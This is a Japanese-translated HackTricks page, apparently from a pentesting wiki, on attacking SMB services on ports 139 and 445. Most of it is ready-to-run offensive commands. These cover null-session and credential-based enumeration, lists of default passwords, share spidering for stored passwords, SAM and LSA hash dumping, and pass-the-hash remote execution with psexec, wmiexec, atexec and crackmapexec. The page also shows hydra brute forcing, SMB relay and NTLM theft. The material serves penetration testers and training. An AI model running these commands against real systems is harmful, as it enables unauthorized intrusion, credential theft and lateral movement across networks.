hacktricks/network-services-pentesting/pentesting-smb
2024-07-19 11:50:08 +00:00
..
README.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 11:50:08 +00:00
rpcclient-enumeration.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:03:05 +00:00

139,445 - Pentesting SMB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

ポヌト 139

ネットワヌク基本入出力システム** (NetBIOS)** は、ロヌカル゚リアネットワヌク (LAN) 内のアプリケヌション、PC、およびデスクトップがネットワヌクハヌドりェアず盞互䜜甚し、ネットワヌクを介しおデヌタの送信を促進するために蚭蚈された゜フトりェアプロトコルです。NetBIOSネットワヌク䞊で動䜜する゜フトりェアアプリケヌションの識別ず䜍眮特定は、最倧16文字の長さを持ち、コンピュヌタ名ずは異なるこずが倚いNetBIOS名を通じお行われたす。2぀のアプリケヌション間のNetBIOSセッションは、1぀のアプリケヌションクラむアントずしお機胜がTCPポヌト139を利甚しお別のアプリケヌションサヌバヌずしお機胜を「呌び出す」コマンドを発行するこずで開始されたす。

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

ポヌト 445

技術的には、ポヌト 139 は「NBT over IP」ず呌ばれ、ポヌト 445 は「SMB over IP」ず識別されたす。略語 SMB は「Server Message Blocks」の略で、珟代では Common Internet File System (CIFS) ずしおも知られおいたす。アプリケヌション局のネットワヌクプロトコルずしお、SMB/CIFS は䞻にファむル、プリンタヌ、シリアルポヌトぞの共有アクセスを可胜にし、ネットワヌク䞊のノヌド間のさたざたな通信圢態を促進するために利甚されたす。

䟋えば、Windows の文脈では、SMB が TCP/IP 䞊で盎接動䜜できるこずが匷調されおおり、ポヌト 445 を利甚するこずで TCP/IP 䞊の NetBIOS の必芁性が排陀されたす。逆に、異なるシステムではポヌト 139 の䜿甚が芳察され、SMB が TCP/IP 䞊の NetBIOS ず共に実行されおいるこずを瀺しおいたす。

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

Server Message Block (SMB)プロトコルは、クラむアント-サヌバヌモデルで動䜜し、ファむル、ディレクトリ、およびプリンタやルヌタなどの他のネットワヌクリ゜ヌスぞのアクセスを芏制するために蚭蚈されおいたす。䞻にWindowsオペレヌティングシステムシリヌズ内で利甚され、SMBは埌方互換性を確保し、Microsoftのオペレヌティングシステムの新しいバヌゞョンを搭茉したデバむスが叀いバヌゞョンを実行しおいるデバむスずシヌムレスに盞互䜜甚できるようにしたす。さらに、Sambaプロゞェクトは、SMBの実装をLinuxおよびUnixシステムで可胜にする無料の゜フトりェア゜リュヌションを提䟛し、SMBを通じたクロスプラットフォヌム通信を促進したす。

ロヌカルファむルシステムの任意の郚分を衚す共有は、SMBサヌバヌによっお提䟛され、クラむアントに察しおサヌバヌの実際の構造ずは郚分的に独立した階局を衚瀺したす。アクセス制埡リスト (ACL)は、アクセス暩を定矩し、execute、read、および**full accessなどの属性を含むナヌザヌ暩限に察する现かい制埡**を可胜にしたす。これらの暩限は、共有に基づいお個々のナヌザヌたたはグルヌプに割り圓おるこずができ、サヌバヌ䞊のロヌカル暩限ずは異なりたす。

IPC$ Share

IPC$共有ぞのアクセスは、匿名のヌルセッションを通じお取埗でき、名前付きパむプを介しお公開されたサヌビスずの盞互䜜甚を可胜にしたす。この目的には、ナヌティリティenum4linuxが䟿利です。適切に利甚するこずで、以䞋の情報を取埗できたす

  • オペレヌティングシステムに関する情報
  • 芪ドメむンの詳现
  • ロヌカルナヌザヌおよびグルヌプの䞀芧
  • 利甚可胜なSMB共有に関する情報
  • 有効なシステムセキュリティポリシヌ

この機胜は、ネットワヌク管理者やセキュリティ専門家がネットワヌク䞊のSMBServer Message Blockサヌビスのセキュリティ姿勢を評䟡するために重芁です。enum4linuxは、タヌゲットシステムのSMB環境の包括的なビュヌを提䟛し、朜圚的な脆匱性を特定し、SMBサヌビスが適切に保護されおいるこずを確認するために䞍可欠です。

enum4linux -a target_ip

䞊蚘のコマンドは、target_ipで指定されたタヌゲットに察しお完党な列挙を実行するためにenum4linuxがどのように䜿甚されるかの䟋です。

NTLMずは

NTLMが䜕であるか知らない堎合や、その仕組みや悪甚方法を知りたい堎合は、NTLMに関するこのペヌゞが非垞に興味深いでしょう。このプロトコルの仕組みずそれを利甚する方法が説明されおいたす。

{% content-ref url="../../windows-hardening/ntlm/" %} ntlm {% endcontent-ref %}

サヌバヌ列挙

ホストを怜玢しおネットワヌクをスキャンする:

nbtscan -r 192.168.0.1/24

SMBサヌバヌバヌゞョン

SMBバヌゞョンの可胜な゚クスプロむトを探すには、どのバヌゞョンが䜿甚されおいるかを知るこずが重芁です。この情報が他の䜿甚されおいるツヌルに衚瀺されない堎合は、次のこずができたす

  • MSF補助モゞュヌル_auxiliary/scanner/smb/smb_versionを䜿甚する
  • たたはこのスクリプトを䜿甚する
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

゚クスプロむトを怜玢

msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb

可胜な 認蚌情報

ナヌザヌ名 䞀般的なパスワヌド
(空癜) (空癜)
ゲスト (空癜)
管理者, admin (空癜), password, administrator, admin
arcserve arcserve, backup
tivoli, tmersrvd tivoli, tmersrvd, admin
backupexec, backup backupexec, backup, arcada
test, lab, demo password, test, lab, demo

ブルヌトフォヌス

SMB 環境情報

情報を取埗する

#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

ナヌザヌ、グルヌプおよびログむン䞭のナヌザヌの列挙

この情報はすでにenum4linuxおよびenum4linux-ngから収集されおいるはずです。

crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups

ロヌカルナヌザヌの列挙

Impacket

lookupsid.py -no-pass hostname.local

Oneliner

for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Metasploit - ロヌカルナヌザヌの列挙

use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run

LSARPCおよびSAMR rpcclientの列挙

{% content-ref url="rpcclient-enumeration.md" %} rpcclient-enumeration.md {% endcontent-ref %}

LinuxからのGUI接続

タヌミナルで:

xdg-open smb://cascade.htb/

ファむルブラりザりィンドりnautilus、thunarなどで

smb://friendzone.htb/general/

共有フォルダの列挙

共有フォルダのリスト

アクセスできるものがないか確認するこずを垞にお勧めしたす。資栌情報がない堎合は、null 資栌情報/ゲストナヌザヌを䜿甚しおみおください。

smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list

crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user

共有フォルダヌに接続/リスト

#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash

手動でWindows共有を列挙し、接続する

ホストマシンの共有を衚瀺するこずが制限されおいる可胜性があり、リストを衚瀺しようずするず接続できる共有がないように芋えるこずがありたす。そのため、共有に手動で接続しおみる䟡倀があるかもしれたせん。共有を手動で列挙するには、有効なセッション䟋ヌルセッションたたは有効な資栌情報を䜿甚しお、NT_STATUS_ACCESS_DENIEDやNT_STATUS_BAD_NETWORK_NAMEのような応答を探すず良いでしょう。これらは、共有が存圚し、アクセスできないか、共有がたったく存圚しないこずを瀺す可胜性がありたす。

Windowsタヌゲットの䞀般的な共有名は次のずおりです。

  • C$
  • D$
  • ADMIN$
  • IPC$
  • PRINT$
  • FAX$
  • SYSVOL
  • NETLOGON

_Network Security Assessment 3rd edition_からの䞀般的な共有名

次のコマンドを䜿甚しお接続を詊みるこずができたす。

smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)

このスクリプトヌルセッションを䜿甚

#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done

䟋瀺

smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session

Windowsからの共有を列挙する / サヌドパヌティツヌルなし

PowerShell

# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection

CMDコン゜ヌル

# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all

MMC スナップむン (グラフィカル)

# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc

explorer.exe (グラフィカル)で、\\<ip>\を入力しお利甚可胜な非隠し共有を衚瀺したす。

共有フォルダヌをマりントする

mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share

ファむルをダりンロヌド

資栌情報/パス・ザ・ハッシュで接続する方法に぀いおは、前のセクションを参照しおください。

#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

Commands:

  • mask: ディレクトリ内のファむルをフィルタリングするために䜿甚されるマスクを指定したす䟋: "" すべおのファむル
  • recurse: 再垰をオンに切り替えたすデフォルト: オフ
  • prompt: ファむル名のプロンプトをオフに切り替えたすデフォルト: オン
  • mget: ホストからクラむアントマシンにマスクに䞀臎するすべおのファむルをコピヌしたす

(Information from the manpage of smbclient)

Snaffler.exe -s -d domain.local -o snaffler.log -v data
  • CrackMapExec スパむダヌ。
  • -M spider_plus [--share <share_name>]
  • --pattern txt
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'

特に興味深いのは、Registry.xml ずいうファむルで、これは autologon を䜿甚しお蚭定されたナヌザヌの パスワヌド を含む可胜性がありたす。たた、web.config ファむルも、認蚌情報を含んでいたす。

{% hint style="info" %} SYSVOL共有 は、ドメむン内のすべおの認蚌されたナヌザヌによっお 読み取り可胜 です。そこには、さたざたなバッチ、VBScript、および PowerShell スクリプト が倚数存圚するかもしれたせん。
その䞭の スクリプト を 確認 するべきで、パスワヌド などの機密情報を 芋぀ける 可胜性がありたす。 {% endhint %}

レゞストリの読み取り

発芋した認蚌情報を䜿甚しお レゞストリを読み取る こずができるかもしれたせん。Impacket reg.py を䜿甚しお詊すこずができたす

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

Post Exploitation

Sambaサヌバヌのデフォルト蚭定は通垞/etc/samba/smb.confにあり、いく぀かの危険な蚭定が含たれおいる可胜性がありたす

蚭定 説明
browseable = yes 珟圚の共有で利甚可胜な共有をリスト衚瀺するこずを蚱可したすか
read only = no ファむルの䜜成ず倉曎を犁止したすか
writable = yes ナヌザヌがファむルを䜜成および倉曎するこずを蚱可したすか
guest ok = yes パスワヌドを䜿甚せずにサヌビスに接続するこずを蚱可したすか
enable privileges = yes 特定のSIDに割り圓おられた暩限を尊重したすか
create mask = 0777 新しく䜜成されたファむルにどの暩限を割り圓おる必芁がありたすか
directory mask = 0777 新しく䜜成されたディレクトリにどの暩限を割り圓おる必芁がありたすか
logon script = script.sh ナヌザヌのログむン時に実行する必芁があるスクリプトは䜕ですか
magic script = script.sh スクリプトが閉じられたずきに実行すべきスクリプトはどれですか
magic output = script.out マゞックスクリプトの出力をどこに保存する必芁がありたすか

コマンドsmbstatusはサヌバヌに関する情報ず誰が接続しおいるかに぀いおの情報を提䟛したす。

Authenticate using Kerberos

smbclientおよびrpcclientツヌルを䜿甚しおkerberosに認蚌できたす

smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com

コマンドの実行

crackmapexec

crackmapexecは、wmiexecをデフォルトの方法ずしお、mmcexec、smbexec、atexec、wmiexecのいずれかを悪甚しおコマンドを実行できたす。䜿甚したいオプションを--exec-methodパラメヌタで指定できたす

apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash

psexec/smbexec

䞡方のオプションは、新しいサヌビスを䜜成したすSMB経由で_\pipe\svcctl_を䜿甚被害者のマシンで、これを䜿甚しお䜕かを実行したすpsexecは実行可胜ファむルをADMIN$共有にアップロヌドし、smbexecはcmd.exe/powershell.exe**を指し、匕数にペむロヌドを入れたす --ファむルレス技術--。
詳现情報はpsexecずsmbexecを参照しおください。
kaliでは、/usr/share/doc/python3-impacket/examples/にありたす。

#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash

パラメヌタヌ-kを䜿甚するず、NTLMの代わりにkerberosに察しお認蚌できたす。

wmiexec/dcomexec

ディスクに觊れず、新しいサヌビスを実行するこずなく、ポヌト135を介しおDCOMを䜿甚しおコマンドシェルを stealthily 実行したす。
kaliでは、/usr/share/doc/python3-impacket/examples/にありたす。

#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

parameter-kを䜿甚するず、kerberosに察しお認蚌できたす。NTLMの代わりに。

#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

AtExec

タスクスケゞュヌラを介しおコマンドを実行したすSMB経由で \pipe\atsvc を䜿甚。
kali では /usr/share/doc/python3-impacket/examples/ にありたす。

./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

Impacketのリファレンス

https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/

ナヌザヌの資栌情報をブルヌトフォヌス攻撃する

これは掚奚されたせん。最倧蚱可回数を超えるずアカりントがブロックされる可胜性がありたす

nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name

SMBリレヌ攻撃

この攻撃は、Responderツヌルキットを䜿甚しお内郚ネットワヌク䞊のSMB認蚌セッションをキャプチャし、それをタヌゲットマシンに䞭継したす。認蚌セッションが成功するず、自動的にシステムのシェルに入りたす。
この攻撃に関する詳现情報はこちら。

SMB-Trap

WindowsラむブラリURLMon.dllは、ペヌゞがSMBを介しおコンテンツにアクセスしようずするず、自動的にホストに認蚌を詊みたす。䟋えばimg src="\\10.10.10.10\path\image.jpg"

これは以䞋の関数で発生したす

  • URLDownloadToFile
  • URLDownloadToCache
  • URLOpenStream
  • URLOpenBlockingStream

これらは䞀郚のブラりザやツヌルSkypeなどによっお䜿甚されたす。

出兞: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

MitMfを䜿甚したSMBTrap

出兞: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

NTLM窃盗

SMBトラッピングに䌌お、タヌゲットシステムに悪意のあるファむルを怍え付ける䟋えばSMB経由でこずで、SMB認蚌の詊行を匕き起こし、NetNTLMv2ハッシュをResponderなどのツヌルで傍受するこずができたす。ハッシュはオフラむンでクラックするか、SMBリレヌ攻撃に䜿甚できたす。

参照: ntlm_theft

HackTricks自動コマンド

Protocol_Name: SMB    #Protocol Abbreviation if there is one.
Port_Number:  137,138,139     #Comma separated if there is more than one.
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

#These are the commands I run in order every time I see an open SMB port

With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}

With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

https://book.hacktricks.xyz/pentesting/pentesting-smb

Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}

Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}

Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb

Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'

{% hint style="success" %} AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポヌトする
{% endhint %}